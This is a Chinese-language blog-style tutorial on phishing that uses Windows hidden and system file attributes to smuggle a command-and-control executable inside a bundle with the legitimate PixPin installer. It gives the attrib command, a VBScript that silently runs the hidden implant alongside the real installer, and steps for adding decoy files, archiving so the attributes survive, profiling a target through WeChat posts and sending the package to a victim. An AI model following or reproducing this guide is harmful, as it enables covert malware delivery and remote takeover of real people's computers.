文章讲述了attrib属性的钓鱼利用,个人思维发散，大佬勿喷

1.attrib属性

在windows中，隐藏属性的两个办法：

​ 1.文件右键-》属性-》勾选隐藏

​ 2.cmd目录下-》attrib +S +H 文件

效果：1的效果在文件管理器中如果未勾选隐藏的项目时候不可见，但勾选后即可见

​ 2的效果是除非在cmd下执行dir /a,否则不可见

2.属性保存

询问ai后得知，ssh ftp tftp等等都会使得这个隐藏属性丢失。但是使用如7zip压缩不会。

3.钓鱼利用

首先你先自己搞个免杀的c2exe,在自己的目录下封装。

3.1.分析钓鱼的需求：

例如：钓鱼对象在加wx后阅读朋友圈发现其的一个需求是截图方便快捷可标注和翻译，这个需求刚好和pixpin相适应。

3.2.C2实现隐藏

在自己的目录下，cmd,然后:

1

attrib +S +H 文件名.exe

3.3.文件整合打包

将pixpin的安装包下载到文件夹下，再写一个启动的bat,并改名叫做setup.bat,里面写执行语句，再用一个vbs去调用就可以无黑框执行了。

或者直接写一个完全的vbs执行方案即可。

例如：setup.vbs

1
2
3
4
5
6
7
8
9
10

' 获取脚本所在目录，确保路径正确
dir = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)

Set s = CreateObject("WScript.Shell")

' 静默并行启动两个exe
' 参数2: 0 = 隐藏窗口（不弹黑框）
' 参数3: False = 异步执行，不等待程序结束，立即执行下一行
s.Run Chr(34) & dir & "\1.exe" & Chr(34), 0, False
s.Run Chr(34) & dir & "\2.exe" & Chr(34), 0, False

3.4.最终方案

1.c2添加隐藏属性

2.下载exe软件于同一目录

3.写一个vbs脚本无边框运行两个程序

4.无关文件搞多点，文件太少显的不够麻烦，需要往vbs引导

5.打包并发给受害者

打包为exe:

注意：打包的时候文件会出现在压缩包里面，所以需要上述的构造多的复杂文件，然后不要用c2等明显文字。

这里仅走流程演示。

在别处解压后仍然不可见，实现了隐藏。

后续就只需要钓鱼话术即可，诱导他使用和安装，启动vbs,即可实现C2的上线。